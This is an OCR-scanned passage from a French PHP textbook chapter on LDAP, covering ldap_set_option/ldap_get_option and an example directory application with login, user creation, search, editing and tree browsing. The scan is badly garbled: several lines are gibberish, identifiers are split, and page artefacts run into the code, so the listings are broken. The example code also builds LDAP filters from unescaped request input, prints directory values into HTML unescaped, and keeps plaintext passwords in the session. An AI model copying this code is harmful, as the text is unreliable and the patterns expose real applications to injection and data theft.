compte, ni pour la recherche ni pour le resultat. 


1 DAP 


DPT <?/7F/ IMIT 


InHinnp Ip nnmhrp rip rpQiiltatQ mavimal mii npnt ptrp rptnnrnp 1 a valpnr 

MIUILjUC IC IIUIIIUIC UG ICOUILaLo lilaAMIIal LjUl UCUL CLIC ICLUUIIIC. La ValCUl 

par defaut o (LDAP_NO_LIMIT) indique qu'il n'y a pas de limite 
maximale. 


LDAP_ 


OPTJIMELIMIT 


Indique le temps maximal d'execution d'une requete dans I'annuaire 

1 I~1AP P.pttp ualpnr affprtp Qimnlpmpnt la rprhprrhp c 1 1 r Ip Qpn/piir 1 a 

LUni , wCLIC ValCUl allCULC Oil 1 IUICI 1 ICI 11 la ICUIICIUMC OUI IC OCIVCUI. La 

valeur par defaut o (LDAP_NO_LIMIT) indique qu'il n'y a pas de 
limite de temps. 


LDAP_ 


OPT _REFERRALS 


Cette option indique comment le client doit reagir lorsqu'une reference 

lni PQt rptnnrnpp nar Ip Qprupur 1 p narampfrp nar ripfant pQt 

IUI CoLICLUUIIICC [Jul IC OCIVCUI. I_C [Jal al 1 ICLI C Ual UCIaULCoL 

LDAP_OPT_ON, c'est-a-dire que les references sont prises en 
compte. LDAP_OPT_OFF empeche cela. 


LDAP_ 


_OPT_RESTART 


Inriinnp Inr^ ri'iinp intprri mtinn nrpmatnrpp ^rnmmp nn timp nut nar 

II IUIUUU O 1 . IUI u \J Ullu 1 1 1 LU 1 1 U 1J \.\\Jl 1 Ul Lil 1 luLUI uu 1 L>UI 1 1 1 1 IL> Ull LI I 1 IVj UUL UUI 

exemple), les operations interrompues doivent reprendre 

(LDAP OPT ON) ou non (LDAP OPT OFF). Par defaut, I'option 

est fixee a LDAP_OPT_ON. 


LDAP OPT PROTOCOL 
_VERSION 


Indique la version du protocole LDAP a utiliser : LDAP_VERSION2 
pour la version 2 ou LDAP_VERSION3 pour la version 3. Par defaut, 
le protocole utilise est v2. 



LDAP_OPT_SERVER Indique une liste de controles au niveau du serveur. Le serveur doit les 
_CONTROLS recevoir a chaque fois. La valeur qui doit etre passee a I'instruction est 

un tableau contenant les differents controles. 

array ( 

array ( // premier controle 
"oid" => "x.x.x.x.x.x" , 
"iscritical" => TRUE, 

) , 

array ( // deuxieme controle 
"oid" => "y . y . y - y - y . y " , 
"iscritical" => FALSE, 

) , 

) Par defaut, il n'y aucun controle au niveau du serveur. 

LDAP _OPT _CLIENT Listes de controles au niveau du client. 
CONTROLS 
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Consulter une option LDAP 

Pour recuperer une option du serveur LDAP, on utilisera la fonction : 



ldap_get_option() 

Recupere une option de l'annuaire LDAP. 

Syntaxe boolean 1 dap_get_opti on (resource $i dLdap , int $option, mixed 

&$val eurRetour) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$opti on Identifiant de l'option a modifier. 

$val eurRetour Variable dans laquelle sera copiee la valeur de l'option que Ton aura 
recuperee. 

retour TRUE en cas de succes, FALSE dans le cas contraire. 

Vous pouvez recuperer les memes options que pour la fonction ldap_set_option ( ) , plus 
quelques autres en lecture seule. 

Tableau 11.2 : Les options supplementaires de la fonction ldap_get_option() 



Option 




Description 


LDAP 


OPT_ERROR_NUMBER 


Retourne le numero de la derniere erreur 
rencontree. Identique a la fonction 

ldap_errno ( ) . 


LDAP 


OPT_ERROR_STRING 


Retourne la derniere erreur rencontree. Identique 

a la fonction ldap_error ( ) . 


LDAP 


_OPT_HOST_NAME 


Retourne I'adresse et le port de la connexion au 
serveur LDAP. 



Vous trouverez diverses explications (en anglais) sur les options LDAP sur le site de 
NETSCAPE : http://developer.netscape.com/docs/manuals/dirsdk/csdk30/functi52.htm. 



11.4. Exemple d'application 



Pour illustrer ce chapitre, nous allons creer un petit annuaire couple avec un navigateur LDAP. 
Ce n'est pas la l'une des grosses applications que vous pouvez trouver dans une entreprise pour 
gerer le personnel et les clients, mais les bases sont la. A vous de faire evoluer cet annuaire par 
la suite afin d'integrer de nouvelles fonctions. 



Exemple d'application 



L'authentification sur l'annuaire 

II est simple a present de construire un petit systeme d'authentification sur un annuaire. Dans 
un premier temps, nous allons preparer un fichier de configuration qui contiendra tout 
parametre propre a notre annuaire LDAP. 

Listing 11.8 : exemples/configuration.php 

<?php 

/* 

/ Parametres du serveur LDAP 

7 

$serveur = "local host"; // Adresse du serveur LDAP 

$port = 389; // Port du serveur LDAP 

$ssl = 0; // Utilisez 1 pour une connexion par SSL 

// DN Root 

$dnOrigine = "dc=mondomai ne,dc=com" ; 
// Branche utilisateur racine 

$dnl)ti 1 i sateur = "ou=Peopl e,dc=mondomai ne,dc=com" ; 

// Attribut login d'un utilisateur 
$loginAttribut = "cn"; 

// dn du manager de l'annuaire LDAP 
$dnRoot = "cn=root,dc=mondomaine,dc=com" ; 



/* 

/ Parametres des pages 

7 

$titre = "Bl dap - L'annuaire LDAP en PHP"; 

$couleurBoite = "#0066CC"; 
$coul eurText = "IFFFFFF" ; 

?> 

Nous pouvons, a present, ecrire un exemple d'authentification. Ceci commence par la page 
d'index qui gere les sessions des utilisateurs une fois authentifiees : 

Listing 11.9 : exemples/index.php 

<?php 

include("incl udes/incl usion.php") ; 
session_start() ; 

if ($_P0ST["action"]) 

{ 

$action = $_P0ST["action"] ; 
} elseif ($_GET["action"]){ 
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$action = $_GET["action"] ; 
} else { 

$action = ""; 

} 

switch ($action) 

{ 



case "connexion": 

connexion() ; 

affi chehtml () ; 

break; 
case "deconnexion" : 

deconnexion() ; 

affi chehtml () ; 

break; 
case "recherche": 



break; 
case "modifier": 

include("entete.php") ; 

modi f i erFi che() ; 

break; 
case "fiche": 

incl ude("entete.php") ; 

afficheFiche() ; 

break; 
default: 

include("entete.php") ; 

if (!isset($_SESSION['sessionConnexionType'])) { 
// Si aucune session n'a ete creee 
affi cheBoi teLogi n () ; 

} else { 

// Si 1 ' uti 1 i sateur est connects a 1 'interface 
afficheBlocRecherche() ; 

} 

break; 



?> 

<p> </p> 
<p> </p> 

<?php 

include("pieddepage.php") ; 

?> 

Inclusion est un fichier qui contient tous les autres fichiers PHP a inclure. II ressemble a ceci : 




i ncl ude("entete.php") ; 
affi cheRecherche() ; 
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Listing 11.10 : exemples/includes/inclusion.php 

<?php 

require_once("configuration.php") ; 
require_once("html . php" ) ; 

require_once("includes/connexionLdap.php") ; 
require_once( "includes/identification. php") ; 
requi re_once("i ncl udes/1 dap. php") ; 

?> 

Les fichiers entete.php et pieddepage.php contiennent le code HTML permettant de donner le 
look general de la page. Le fichier html.php contient differentes fonctions affichant les _^ 
formulaires ou les resultats des reponses. Les fonctions connexion ( ) et deconnexion ( ) sont r 1 
decrites dans le fichier identification.php qui se trouve dans le repertoire includes. 

I— GO 

Listing 11.11 : exemples/includes/identification.php -o = 



<?php 

I** 

* Fonction de connexion a 1 'interface 

* @return $ldap ou FALSE si erreur dans 1 ' identification 

7 

function connexion() 

{ 

global $dnUti 1 i sateur, $1 ogi nAttri but, $dnRoot; 
global $motPasse, $uti 1 i sateur, $connexionType; 

if ($1 dap = connexionLdapO) 

{ 

if ($connexionType == "normal") 
{ 

$_SESSION['sessionDn'] = $1 ogi nAttri but. 

" = " . $uti 1 i sateur. " , " . $dnUti 1 i sateur; 

$_SESSI0N[ 1 sessi onPass '] = $motPasse; 

$_SESSION['sessionConnexionType'] = $connexionType; 

$_SESSION['sessionRdn'] = $uti 1 i sateur; 

} elseif ($connexionType == "manager") { 

$_SESSION['sessionDn'] = $dnRoot; 

$_SESSI0N[ 1 sessi onPass '] = $motPasse; 

$_SESSION['sessionConnexionType'] = $connexionType; 

$_SESSION['sessionRdn'] = "Manager"; 

} else { 

$_SESSION['sessionDn'] 

$_SESSION['sessionPass'] 

$_SESSION['sessionConnexionType'] = $connexionType; 

$_SESSI0N [ ' sessi onRdn 1 ] = "Anonyme"; 

} 

} else { 

return FALSE; 

} 

deconnexionLdap($ldap) ; 



ii ii . 
j 

ii M . 
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afficheBoiteMsg("La connexion a ete effectuee"); 
return TRUE; 

} 

I** 

* Fonction de deconnexion de 1 'interface 

7 

function deconnexion() 

{ 

session_unset() ; 
session_destroy() ; 

afficheBoiteMsg("La deconnexion a ete effectuee"); 



00 1 
CD ?> 



La fonction connexion ( ) fait appel a deux fonctions connexionLdap ( ) et 
deconnexionLdap ( ) qui sont decrites dans le fichier includes I connexionLdap. php. Suivant le 
resultat de l'authentification LDAP, le script cree une session ou affiche un message indiquant 
que l'authentification a echoue. 

Listing 11.12 : exemples/includes/connexionLdap.php 

<?php 

I** 

* Fonction de creation de connexion et d'authentifi cation au serveur LDAP 

* @return resource Identifiant de connexion LDAP ou FALSE si probleme 

7 

function connexionLdap() 

{ 

global $serveur, $port, $ssl ; 

global $dnUti 1 i sateur, $1 ogi nAttri but, $dnRoot; 

global $motPasse, $uti 1 i sateur, $connexionType; 

// Connexion au serveur LDAP 

if ($ssl) $serveur = "ldaps://".$serveur; 

$1 dap = @1 dap_connect ($serveur, $port); 

if (!$ldap) 

{ 

afficheBoiteMsgErreur("La connexion au ". 

serveur n'a pas ete effectuee !"); 
return FALSE; 



// Verification qu'une session n'est pas deja creee 
if (isset($_SESSION['sessionConnexionType'])) 

{ 

$sessionDn = $_SESSION['sessionDn'] ; 
$sessionPass = $_SESSION['sessionPass'] ; 
$sessionConnexionType = $_SESSION['sessionConnexionType'] ; 
} else { 

SsessionDn = $1 ogi nAttri but . " = " .$uti1 i sateur. " , " .$dnl)ti 1 i sateur; 
$sessionPass = $motPasse; 
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$sessionConnexionType = $connexionType; 

} 

// Connexion sur l'annuaire en mode utilisateur "normal" 

if ($sessionConnexionType=="normal " && $sessionDn && $sessionPass) 

{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap, $sessionDn, $sessionPass)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 

} 

// Connexion sur l'annuaire en mode utilisateur "manager" 
elseif ($sessionConnexionType=="manager" && $sessionPass) 
{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap, $dnRoot, $sessionPass)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 

} 

// Connexion sur l'annuaire en mode utilisateur "anonyme" 
el sei f ($sessionConnexionType==" anonyme") 

{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 

} else { 

// Probleme de connexion 

afficheBoiteMsgErreur("Connexion impossible !"); 
return FALSE; 

} 

return $1 dap ; 

} 

I** 

* Fonction de deconnexion du serveur LDAP 

* @input $1 dap Identifiant de connexion LDAP 

* @return rien 

7 

function deconnexionLdap($ldap) 

{ 

// Deconnexion du serveur LDAP 
1 dap_cl ose($l dap) ; 

} 

?> 
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Pre ce dent Recharger 



httpif'/j/wv.karitiouroo.cornjbiblefldajjjlnde; ] L..-. 
charger Ureter *— 1 



Bldap - L'annuaire LDAP en PHP 

La bible du PHP tie L . Guedon, D. lieu to, I?. Heute et P.E. Huller 




\&* Document : Termine (3.335 s) 



Figure 1 1 .5 : Vous pouvez maintenant vous authentifier comme utilisateur, manager ou 
anonyme. 
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Bldap - L'annuaire LDAP en PHP [deconnenion de Anonyme] 

La bible du PHP de L. Ouedon, D. Heute, T. Heute et P.E. Hulier 

Recherche An outer Maviqateur I 




Document : Termine (1 .215 s) 



Figure 11 .6 : Vous voila dans Vinterface en tant qu 'anonyme 



L'ajout d'une nouvelle entree 



L'ajout d'une nouvelle entree peut etre fait simplement depuis un formulaire HTML. Le 
schema de votre annuaire doit supporter les attributs standard que nous utilisons ici. Dans le 
cas contraire, veuillez vous reporter a la documentation d'OpenLDAP afin de resoudre les 
eventuels problemes. 

Commencons par afficher la page HTML contenant le formulaire d'ajout d'un nouvel 
utilisateur. 
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Listing 11.13 : exemples/ajout.php 

<?php 

include("incl udes/incl usion.php") ; 
session_start() ; 

if ($_POST["action"]) 

{ 

$action = $_POST["action"] ; 
} elseif ($_GET["action"]){ 

$action = $_GET["action"] ; 
} else { 

$action = ""; 

} 



include("entete.php") ; 

switch ($action) 

{ 

case "ajouter": 

ajouterUti 1 i sateur() ; 

break; 
default: 

aff i cheFormul ai re() ; 

break; 

} 

?> 

<p> </p> 
<p> </p> 

<?php 

include("pieddepage.php") ; 

?> 

La fonction af f icheFormuiaire ( ) est decrite dans le fichier htmlphp. Lorsque le formulaire 
est valide, le parametre action=aj outer est alors passe au script, ce qui a pour effet d'executer 

la fonction ajouterUtilisateur ( ) . 

Listing 11.14 : exemples/includes/ldap.php 

<?php 

j-k-k 

* Fonction d'ajout d'un utilisateur dans l'annuaire 

* @return boolean 

7 

function ajouterUti 1 i sateur() 
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{ 

global $loginAttribut, $dnUti 1 i sateur; 

if ( ! $1 dap = connexionLdapO) return FALSE; 

$dn = "$1 ogi nAttri but=" . $_P0ST [$1 ogi nAttri but] . " , $dnUti 1 i sateur" 



if 


($ POST['objectclass'] [0]) 








$entree 


'objectclass'] [0] 


$_P0ST[ 


objectcl ass '] [0] ; 


if 


($_P0ST[ 


objectcl ass '] [1] ) 








$entree 


'objectclass'] [1] 


$_P0ST[ 


objectclass '] [1] ; 


if 


($_P0ST[ 


sn']) 








$entree 


'sn'] = $_P0ST['sn'] ; 






if 


($_P0ST[ 


givenname']) 








$entree 


'givenname'] 


$_P0ST[ 


givenname'] ; 


if 


($_P0ST[ 


mai 1 '] ) 








$entree 


'mail'] 


$_P0ST[ 


mai 1 '] ; 


if 


($_P0ST[ 


tel ephonenumber '] ) 








$entree 


'telephonenumber'] 


$_P0ST[ 


telephonenumber'] 


if 


($_P0ST[ 


tel exnumber '] ) 








$entree 


' tel exnumber '] 


$_P0ST[ 


telexnumber'] ; 


if 


($_P0ST[ 


o']) 








$entree 


'o'] 


$_P0ST[ 


o']; 


if 


($_P0ST[ 


ou']) 








$entree 


'ou'] 


$_P0ST[ 


ou'] ; 


i f 


($_P0ST[ 


street '] ) 








$entree 


'street'] 


$_P0ST[ 


street'] ; 


if 


($_P0ST[ 


postal code '] ) 








$entree 


'postalcode'] 


$_P0ST[ 


postalcode'] ; 


if 


($_P0ST[ 


1']) 








$entree 


'1'] 


$_P0ST[ 


1']; 


if 


($_P0ST[ 


c']) 








$entree 


'c'] 


$_P0ST[ 


C]; 


if 


($_P0ST[ 


userpassword']) 








$entree 


'userpassword'] 


$_P0ST[ 


userpassword'] ; 




$entree 


$1 ogi nAttri but] 


$_POST[$loginAttribut] ; 



if (@ldap_add($ldap, $dn, $entree)) 

{ 

afficheBoiteMsg("Le nouvel utilisateur a ete ajoute !"); 
} else { 

aff i cheBoi teMsgErreur("Probl erne, le nouvel". 

" utilisateur n'a pas ete ajoute !", $1 dap) ; 
return FALSE; 

} 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

return TRUE; 
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Recherche dans l'annuaire 

A present que de nouveaux utilisateurs sont dans l'annuaire, il est grand temps d'effectuer une 
recherche qui va nous permettre de les retrouver. C'est un formulaire HTML simple qui va 
nous permettre de rechercher les individus selon plusieurs criteres : 

■ La societe qui est representee par l'attribut o ou organization ; 
Le pays qui est defini par l'attribut c ; 

■ Le nom qui est designe par l'attribut cn ; 
L'e-mail represente par l'attribut mail. 

Le formulaire est appele depuis notre page d'index par la fonction af f icheBlocRecherche ( ) . 
Sa description se trouve dans le fichier htmlphp. 

La fonction qui affiche le resultat est af f icheRecherche ( ) . 

Listing 11.15 : exemples/html.php (extrait) 

<?php 

j-k-k 

* Fonction affichage le resultat de la recherche 

7 

function afficheRecherche() 

{ 

global $loginAttribut; 

affi cheBl ocRecherche($contenu) ; 

?> 

<p> </p> 

<table border="0" cellpadding="l" eel 1 spaci ng="0" 
width="90%" bgcolor="#000000" al ign="center"> 
<tr> 
<td> 

<table border="0" cellpadding="0" eel 1 spaci ng="4" width="100%" 

bgcolor="#ffffff"> 
<tr> 

<td al ign="center" width="25%"> 

Nom 
</td> 

<td al ign="center" width="25%"> 

Identi fiant 
</td> 

<td al ign="center" width="25%"> 
E-mai 1 

</td> 

<td al ign="center" width="25%"> 
Tel ephone 

</td> 
</tr> 

<?php 
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$resultat = rechercheLdap() ; 

echo '<trxtd colspan="4" al ign="center">' . 

'II y a 1 .$resultat["count"] . 1 resultat(s) ' . 

1 pour votre recherche 1 ; 
for ($i=0;$i<$resultat["count"] ;$i++) 
{ 

echo '<tr>'; 

echo '<tdxa href="index.php?action=fiche&identifiant=' . 

$resultat[$i] [$loginAttribut] [0] . 1 ">' . 

$resultat[$i] ["cn"] [0] . '</ax/td>' ; 
echo '<td>' .$resultat[$i] ["uid"] [0] . '</td>' ; 
echo '<td>' .$resultat[$i] ["mail "] [0] . '</td>' ; 
echo '<td>' .$resultat[$i] ["tel ephonenumber"] [0] . 1 </td> 1 ; 
echo '</tr>'; 



echo 1 </table> 
</td> 

aj </tr> 

</table>' ; 



} 

?> 

Enfin, cette fonction fait appel a rechercheLdap ( ) , qui s'occupe d'effectuer la recherche dans 
l'annuaire et de retourner les resultats sous la forme d'un tableau. 



Listing 11.16 : exemples/includes/ldap.php 

<?php 

I** 

* Fonction de recherche dans la base LDAP 

* @return array les donnees recherchees ou FALSE si probleme 

V 

function rechercheLdap() 

{ 

global $dnUti 1 i sateur; 
// Connexion au serveur LDAP 
$1 dap = connexionLdap() ; 
if (!$ldap) return FALSE; 

// Creation du filtre de recherche 

$filtre = ""; 

if ($_POST["societe"]) 

$filtre .= "(o=".$_POST["societe"] .")"; 
if ($_POST["nom"]) 

$filtre .= "(cn=".$_POST["nom"] .")"; 
if ($_POST["pays"]) 

$filtre .= "(c=".$_POST["pays"] .")"; 
if ($_POST["mail"]) 

$filtre .= "(mail=".$_POST["mail"] .")"; 
if (!$filtre) 
{ 

$filtre = "(&(cn=*)(objectclass=*))"; 
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} else { 

$filtre = "(&".$filtre."(objectclass=*))"; 

} 

// Elements a recuperer 

$element = array ("cn", "uid", "mail", "tel ephonenumber") ; 
$recherche = @ldap_list($ldap, $dnUti 1 i sateur, $filtre, $element); 
if (!$recherche) 

{ 

afficheBoiteMsgErreur("Probleme lors de la recherche !", $ldap); 
deconnexionLdap($ldap) ; 
return FALSE; 

} 

$resultat = @1 dap_get_entri es ($1 dap, $recherche) ; 
deconnexionLdap($ldap) ; 
return $resultat; 



Modification (Tune entree 

Avant de modifier une entree, nous devons afficher un formulaire. Pour cela, nous allons, dans 
un premier temps, appeler la page index depuis le resultat de la recherche precedente, et lui 
transmettre le RDN qui nous permettra ensuite de recuperer l'utilisateur. 

La page index.php fait alors appel a la fonction af f icheFiche ( ) . 

Listing 11.17 : exemples/html.php (extrait) 

<?php 

j-k-k 

* Fonction affichage de la fiche de la personne 

7 

function afficheFiche() 

{ 

?> 

<table border="0" eel 1 padding="l" eel 1 spaci ng="0" 
width="90%" bgcolor="#000000" al ign="center"> 
<tr> 
<td> 

<table border="0" eel 1 paddi ng="0" eel 1 spaci ng="4" width="100%" 
bgcolor="#ffffff"> 

<form action="index.php" method="post"> 

<?php 

$1 dapResul tat = rechercheLdapPersonne() ; 

// Ceci va nous etre utile pour bien visual iser les resultats 
// Un peu de couleurs ne fait pas de mal . 
Seoul = 0; 

Seoul eur[0] = "#ffffff"; 
$couleur[l] = "#dddddd"; 
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for ($i=0;$i<$ldapResultat[0] ["count"] ;$i++) 

{ 

$attribut = $1 dapResul tat [0] [$i] ; 
echo '<tr>'; 

echo 1 <td bgcolor=" 1 .$couleur[$coul] . 1 ">' .$attribut. '</td>' ; 

echo 1 <td bgcolor=" ' .$couleur[$coul] . ' ">' ; 

if ($ldapResultat[0] [$i] ["count"])! 

// II peut y avoir plusieurs valeurs pour un attribut. 
// Nous allons done verifier combiens de donnees nous sont 
// retournees pour chaques attributs. 

// Pour cela, on compte le nombre de valeur pour 1 'attribut 
// et on boucle 

$boucle = $1 dapResul tat [0] [$attri but] ["count"] ; 
if ($boucle>l){ 

55 for ($nbAttr=0;$nbAttr<$boucle;$nbAttr++) 

{ 

echo '<input type="text" name=" 1 .$attribut. 
1 [' .$nbAttr. ']" value="'. 

$ldapResultat[0] [$attribut] [$nbAttr] . 1 "xbr />' ; 

} 

} else { 

echo '<input type="text" name=" ' .$attribut. 
'" value="'. 

$1 dapResul tat [0] [$attribut] [0] . 1 ">' ; 

} 

} else { 

echo '<input type="text" name=" ' .$attri but . 1 [0] " 1 . 
1 value=""> 1 ; 

} 

echo 1 <td bgcolor=" 1 .$couleur[$coul] . 1 ">' ; 
echo '</td>'; 

echo '</tr>'; 

if ($coul==0) $coul=l; else $coul=0; 

} 

?> 

<trxtd> 

<input type="hidden" val ue="modi fi er" name="action"> 
<input type="submi t" val ue="Modi f i er"> 
</tdx/tr> 
</form> 
</tabl e> 
</tdx/tr> 
</table> 
<?php 
} 

?> 
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Cette page lance d'abord la fonction rechercheLdapPersonne ( ) , qui lui retourne un tableau 
contenant la liste des attributs et leurs differentes valeurs. 



Listing 11.18 : exemples/includes/ldap.php 

<?php 

j-k-k 

* Fonction de recuperation des elements d'une fiche 

* @return array les donnees recherchees ou FALSE si probleme 

7 

function recherchel_dapPersonne() 

{ 

global $dnUti 1 i sateur, $1 ogi nAttri but; _i 

// Connexion au serveur LDAP ■ 

$1 dap = connexionLdap() ; _ eo 

if (!$ldap) return FALSE; 5 £ 

-a = 

// Creation du filtre de recherche 5 

$filtre = "(&(". $loginAttribut."=". 3 

$_GET["identifiant"] .") (objectcl ass=*) ) " ; w 

$recherche = @ldap_list($ldap, $dnUti 1 i sateur, $filtre); 
if (!$recherche) 

{ 

aff i cheBoi teMsgErreur("Probl eme lors de la recherche !", 

$ldap); 
deconnexionLdap($ldap) ; 
return FALSE; 



// On recupere 1 'entree 

$resultat = @1 dap_get_entri es ($1 dap, $recherche) 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 



return $resultat; 

} 

?> 



Ici, pas de surprise particuliere. C'est une recherche classique dans un annuaire, ou Ton precise 
simplement, en plus, comme filtre, le RDN de l'utilisateur. 

Par la suite, la fonction af f icheFiche ( ) prend le relais et construit le code HTML de notre 
formulaire en fonction des attributs et de la (ou des) valeur(s) de ceux-ci. 

L'envoi du formulaire effectue l'appel depuis la page index.php a la fonction 

modif ierFiche ( ) . 
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Listing 11.19 : exemples/includes/ldap.php 

<?php 

I** 

* Fonction de modification d'un utilisateur dans l'annuaire 

* @return boolean 

7 



function modifierFiche() 
{ 

global $loginAttribut, $dnLlti 1 i sateur; 

if (!$ldap = connexionLdapO) return FALSE; 

$dn = "$1 ogi nAttri but= " . $_P0ST [$1 ogi nAttri but] . " , $dnUti 1 i sateur" ; 

$entree = $_P0ST; 
array_pop($entree) ; 

if (@ldap_mod_replace($ldap, $dn, $entree)) 

{ 

afficheBoiteMsg("L'utilisateur a ete modifie !"); 
} else { 

afficheBoiteMsgErreur("Probleme, " . 

"1 1 uti 1 i sateur n'a pas ete modifie !", $ldap); 
return FALSE; 

} 



// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 
return TRUE; 



Les informations du formulaire sont recuperees et preparees pour etre utilisees avec 
l'instruction ldap_mod_replace ( ) . Nous avions pris soin de construire notre formulaire de 
facon a ce que le tableau $_post soit directement utilisable par cette fonction. La preparation 
est alors tres simple: il suffit de supprimer $_post [ 11 action" ] a l'aide de l'instruction 

array_pop ( ) . 



Realisation d'un arbre de navigation LDAP 

II est courant de visualiser l'annuaire LDAP sous la forme d'un arbre. Le langage PHP va nous 
permettre de realiser un systeme de navigation simple sur le serveur LDAP. 

Listing 11.20 : exemples/navframearbre.php 

<?php 

include("incl udes/incl usion.php") ; 
session_start() ; 



952 



Exemple d'application 



affi chehtml () ; 

?> 

<?php 

if ($_GET['dnEn']){ 

$dnEn = urldecode($_GET['dnEn']) ; 
$dnEnTableau = expl ode ( ' | | ' , $dnEn); 
} else { 

$dnEnTableau[0] = ""; 

} 

echo "<p styl e= ' font-size: 10px;'>"; 
navigateur($dnEnTableau) ; 
echo "</p>"; 

?> 

<p> </p> 

</body> 

</html> 

Nous observons que la page recupere un parametre dnEn qui lui est envoye et le transforme en 
tableau. Ce parametre va nous servir a ouvrir ou fermer les branches de l'arbre LDAP. 

La fonction permettant de visualiser l'arbre est la fonction navigateur ( ) . 

Listing 11.21 : exemples/includes/ldap.php 

<?php 

I** 

* Fonction affichage de 1 'element d'origine de l'arbre LDAP 

* @input $dnEn 

7 

function navigateur($dnEn) 

{ 

global $dnOrigine; 

// Connexion au serveur LDAP 

$1 dap = connexionLdap() ; 

echo "* "; 

// lien vers les attributs 

$1 i en = "navf ramedescri ption.php?dn=" .url encode ($dnOrigi ne) ; 
echo "<a href= ' " .$1 ien. " ' target='description'>". 
$dnOrigi ne. "</axbr />\n"; 

extractionDonnee($dnOrigine, $dnEn, $1 dap) ; 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

} 

?> 

La fonction effectue une connexion sur le serveur LDAP, puis affiche les liens sur le premier 
element de l'arbre, permettant de visualiser par la suite, sur une nouvelle page, ses attributs. 
Ensuite, il est fait appel a une nouvelle fonction, extractionDonnee ( ) , avant de se 
deconnecter de l'annuaire. 



Chapitre 1 1 Les annuaires LDAP 



00 
05 



= Q_ 
= <C 



CO 
CD 



Listing 11.22 : exemples/includes/ldap.php 

<?php 

I** 

* Fonction recursive permettant de construire l'arbre LDAP 

* @input string $dn, array $dnEn, resource $1 dap 

* @return $string donnees formates 

V 

function extractionDonnee($dn, $dnEn, $1 dap) 

{ 

// Creation du filtre de recherche 
$filtre = "(&(objectclass=*))"; 

$recherche = @ldap_l i st ($1 dap, $dn, $filtre, array("")); 
// On recupere 1 'entree 

$tableau = @ldap_get_entries($ldap, $recherche); 
for ($i=0;$i<$tableau["count"] ;$i++) 

{ 

//On recupere le rdn 

$dntmp = split(",", $tabl eau[$i] ["dn"] ) ; 

for($j=0;$j<count($dntmp) ;$j++) 
{ 

echo " "; 

} 



// Les liens sur l'arbre 
$dnEnLien = $dnEn; 

// On verifie si 1 'entree n'existe pas deja dans le tableau 
if ($clef = array_search($tableau[$i] ["dn"] , $dnEnLien)) 
{ 

// Si oui on la supprime 
$dnEnLien[$clef] = ' ' ; 
$caractere = ' - ' ; 
} else { 

// Si non, on 1 'ajoute 

$dnEnLien[count($dnEn)] = $tableau[$i] ["dn"] ; 
$caractere = '+' ; 



$chainednTmp = join("||", $dnEnLien); 

// On peut supprimer les signes | en trop 

$chainedn = str_repl ace(" | | | | "," | | " ,$chai nednTmp) ; 

// On encode la chaTne a cause de la methode GET utilisee 

$chainedn = url encode($chai nedn) ; 

$lien = "navframearbre.php?dnEn=" .$chainedn; 

echo "<a href='".$lien."' target='arbre'>[".$caractere."]</a> "; 
// lien vers les attributs 

$1 i en = "navframedescri pti on.php?dn=" . url encode ($tabl eau [$i] ["dn"] ) ; 
echo "<a href='".$lien."' target='description'>". 
$dntmp[0] ."</axbr />\n"; 
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for ($j=0;$j<count($dnEn) ;$j++) 
{ 

if ($dnEn[$j]==$tableau[$i] ["dn"]) 
{ 

extractionDonnee($tableau[$i] ["dn"] , $dnEn, $ldap); 

} 

} 




?> 



Cette fonction est une fonction recursive. Elle va scanner la branche de l'annuaire et verifier 
que le DN ne se trouve pas dans le tableau passe en parametre. Si elle le trouve, la fonction se 
lance elle-meme avec ce nouveau DN comme nouvelle base de recherche. Les liens nous 
servent, d'une part, a ouvrir et fermer les branches de l'arbre et, d'autre part, a afficher une 
page indiquant tous les attributs et leurs valeurs. L'affichage de la page est execute par l'appel 

a la fonction af f icheAttribut ( ) . 

Listing 11.23 : exemples/html.php (extrait) 

<?php 

I** 

* Fonction d'affichage des attributs d'une entree 

* @input $dn 

7 

function afficheAttribut($dn) 

{ 

$resultat = NavLdapEntree($dn) ; 
echo 1 

<table border="0" eel 1 paddi ng=" 1 " eel 1 spaci ng="0" 

width="90%" bgcolor-" 1 .$GLOBALS["couleurBoite"] . 1 " al ign="center"> 

<tr> 
<td> 

<table border="0" eel 1 paddi ng="0" eel 1 spacing="4" width="100%" 
bgcolor="#ffffff">'; 

// Ceci va nous etre utile pour bien visual iser les resultats 
// Un peu de couleurs ne fait pas de mal . 
$coul = 0; 

Seoul eur[0] = "#ffffff"; 
Seoul eur[l] = "#dddddd"; 

for ($i=0;$i<$resultat[0] ["count"] ;$i++) 

{ 

$attribut = $resul tat [0] [$i] ; 
echo '<tr>'; 

echo '<td bgcolor=" 1 .$couleur[$coul] . 1 ">' .$attribut. '</td>' ; 
echo '<td bgcolor=" 1 .$couleur[$coul] . 1 ">' ; 
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// II peut y avoir plusieurs valeurs pour un attribut. 

// Nous allons done verifier combiens de donnees nous sont 

// retournees pour chaques attributs. 

// Pour cela, on compte le nombre de valeur pour 1 'attribut 
// et on boucle 

for ($nbAttr=0;$nbAttr<$resultat[0] [$attribut] ["count"] ;$nbAttr++) 
{ 

echo $resultat[0] [$attribut] [$nbAttr] . '<br />'; 

} 
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} 

?> 



echo 1 <td bgcolor=" 1 .$couleur[$coul] . 1 ">' ; 
echo '</td>'; 

echo '</tr>'; 

if ($coul==0) $coul=l; else $coul=0; 

} 

echo '</table> 

</td> 

</tr> 
</table>' ; 



Cette fonction est similaire a celle nous affichant la fiche d'un utilisateur. Elle utilise 
l'instruction NavLdapEntree ( ) en lui envoyant le DN de l'entree dont nous souhaitons 
recuperer les attributs. 



Listing 11.24 : exemples/includes/ldap.php 

<?php 

I** 

* Fonction de recherche des attributs d'un dn 

* @input $dn 

* @return array les donnees recherchees ou FALSE si probleme 

7 

function Navl_dapEntree($dn) 

{ 

// Connexion au serveur LDAP 
$1 dap = connexionLdap() ; 
if (!$ldap) return FALSE; 



// Creation du filtre de recherche 

